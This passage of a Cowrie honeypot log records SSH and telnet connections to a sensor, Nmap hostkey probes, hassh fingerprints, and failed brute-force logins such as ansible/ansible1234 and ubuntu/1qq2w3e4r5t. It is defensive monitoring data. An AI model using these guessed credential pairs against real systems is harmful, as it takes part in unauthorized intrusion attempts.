k-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:10.639601Z","src_ip":"159.203.92.129","session":"90042db4291d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible1234","message":"login attempt [ansible/ansible1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:10.652352Z","src_ip":"159.203.92.129","session":"90042db4291d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:11.658241Z","src_ip":"159.203.92.129","session":"90042db4291d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1738760471344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:12.132568Z","src_ip":"45.87.43.158","session":"fa870d3c32c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":37548,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2976574875c","protocol":"telnet","message":"New connection: 103.157.135.60:37548 (10.17.0.5:23) [session: d2976574875c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:16.407518Z"}
{"eventid":"cowrie.session.closed","duration":31.51634168624878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:18.310862Z","src_ip":"103.157.135.60","session":"8caca81d9e7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35602617263794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:19.240368Z","src_ip":"136.144.203.5","session":"8dbca7ff9ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60470,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d2c29504afc","protocol":"telnet","message":"New connection: 139.162.207.207:60470 (10.17.0.5:23) [session: 7d2c29504afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:21.076539Z"}
{"eventid":"cowrie.session.closed","duration":31.260427951812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:21.988141Z","src_ip":"103.157.135.60","session":"1ff8cbba3204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.199061155319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:27.090589Z","src_ip":"136.144.203.5","session":"998a1e474533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.407263040542603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:27.703572Z","src_ip":"103.157.135.60","session":"142eea044f88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":7472,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb6c3949c3f5","protocol":"ssh","message":"New connection: 35.195.165.181:7472 (10.17.0.5:22) [session: cb6c3949c3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.280516Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.413301Z","src_ip":"35.195.165.181","session":"cb6c3949c3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.417870Z","src_ip":"35.195.165.181","session":"cb6c3949c3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":7474,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5aef6553691","protocol":"ssh","message":"New connection: 35.195.165.181:7474 (10.17.0.5:22) [session: c5aef6553691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.646924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.773840Z","src_ip":"35.195.165.181","session":"c5aef6553691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.849691Z","src_ip":"35.195.165.181","session":"c5aef6553691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:29.855941Z","src_ip":"35.195.165.181","session":"c5aef6553691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":36718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d91c6655b86","protocol":"ssh","message":"New connection: 35.195.165.181:36718 (10.17.0.5:22) [session: 7d91c6655b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.004884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.133630Z","src_ip":"35.195.165.181","session":"7d91c6655b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.209007Z","src_ip":"35.195.165.181","session":"7d91c6655b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.444569Z","src_ip":"35.195.165.181","session":"7d91c6655b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":36730,"dst_ip":"10.17.0.5","dst_port":22,"session":"3274eee45b08","protocol":"ssh","message":"New connection: 35.195.165.181:36730 (10.17.0.5:22) [session: 3274eee45b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.519875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.650206Z","src_ip":"35.195.165.181","session":"3274eee45b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.725557Z","src_ip":"35.195.165.181","session":"3274eee45b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:30.968405Z","src_ip":"35.195.165.181","session":"3274eee45b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":36734,"dst_ip":"10.17.0.5","dst_port":22,"session":"898284c752c6","protocol":"ssh","message":"New connection: 35.195.165.181:36734 (10.17.0.5:22) [session: 898284c752c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.043026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.175430Z","src_ip":"35.195.165.181","session":"898284c752c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.249816Z","src_ip":"35.195.165.181","session":"898284c752c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.255664Z","src_ip":"35.195.165.181","session":"898284c752c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":36738,"dst_ip":"10.17.0.5","dst_port":22,"session":"48676922ed02","protocol":"ssh","message":"New connection: 35.195.165.181:36738 (10.17.0.5:22) [session: 48676922ed02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.403713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.535520Z","src_ip":"35.195.165.181","session":"48676922ed02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.610991Z","src_ip":"35.195.165.181","session":"48676922ed02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.616593Z","src_ip":"35.195.165.181","session":"48676922ed02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.324057817459106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.720852Z","src_ip":"103.157.135.60","session":"4478ee3113c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.165.181","src_port":36746,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8543c2f283c","protocol":"ssh","message":"New connection: 35.195.165.181:36746 (10.17.0.5:22) [session: b8543c2f283c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.763901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.893717Z","src_ip":"35.195.165.181","session":"b8543c2f283c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:31.968475Z","src_ip":"35.195.165.181","session":"b8543c2f283c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:32.204763Z","src_ip":"35.195.165.181","session":"b8543c2f283c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49196,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d034dc0c2b8","protocol":"telnet","message":"New connection: 185.26.126.47:49196 (159.203.135.109:23) [session: 0d034dc0c2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:33.056131Z"}
{"eventid":"cowrie.session.closed","duration":39.06859254837036,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:34.840684Z","src_ip":"139.162.207.207","session":"060db967f21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ab3b0c41fa","protocol":"telnet","message":"New connection: 139.162.207.207:38104 (10.17.0.5:23) [session: c9ab3b0c41fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:34.928327Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":52176,"dst_ip":"10.17.0.5","dst_port":23,"session":"058aad7192ab","protocol":"telnet","message":"New connection: 103.157.135.60:52176 (10.17.0.5:23) [session: 058aad7192ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:37.151444Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52386,"dst_ip":"10.17.0.5","dst_port":22,"session":"796a7e8bdbd3","protocol":"ssh","message":"New connection: 80.94.92.182:52386 (10.17.0.5:22) [session: 796a7e8bdbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:40.542411Z"}
{"eventid":"cowrie.session.closed","duration":7.521536350250244,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:40.577525Z","src_ip":"185.26.126.47","session":"0d034dc0c2b8","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:40.694511Z","src_ip":"80.94.92.182","session":"796a7e8bdbd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:40.698864Z","src_ip":"80.94.92.182","session":"796a7e8bdbd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qq2w3e4r5t","message":"login attempt [ubuntu/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:42.203906Z","src_ip":"80.94.92.182","session":"796a7e8bdbd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:43.324195Z","src_ip":"80.94.92.182","session":"796a7e8bdbd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":59904,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a4b54f7402","protocol":"telnet","message":"New connection: 103.157.135.60:59904 (10.17.0.5:23) [session: 04a4b54f7402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:43.773000Z"}
{"eventid":"cowrie.session.closed","duration":34.4986298084259,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:43.843675Z","src_ip":"139.162.207.207","session":"85914dba8b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.97058701515198,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:44.148214Z","src_ip":"139.162.207.207","session":"f52d616722be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23244595527649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:47.639820Z","src_ip":"103.157.135.60","session":"d2976574875c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54676,"dst_ip":"10.17.0.5","dst_port":23,"session":"e46faf0a0984","protocol":"telnet","message":"New connection: 103.157.135.60:54676 (10.17.0.5:23) [session: e46faf0a0984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:53.860256Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":58208,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10e200ffbef","protocol":"telnet","message":"New connection: 103.157.135.60:58208 (10.17.0.5:23) [session: c10e200ffbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:55.098454Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36732,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b660d3ba75","protocol":"telnet","message":"New connection: 139.162.207.207:36732 (10.17.0.5:23) [session: a3b660d3ba75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:56.168336Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35590,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc86310c11ce","protocol":"ssh","message":"New connection: 159.203.92.129:35590 (159.203.135.109:22) [session: fc86310c11ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:56.340702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:51:56.345978Z","src_ip":"159.203.92.129","session":"fc86310c11ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffi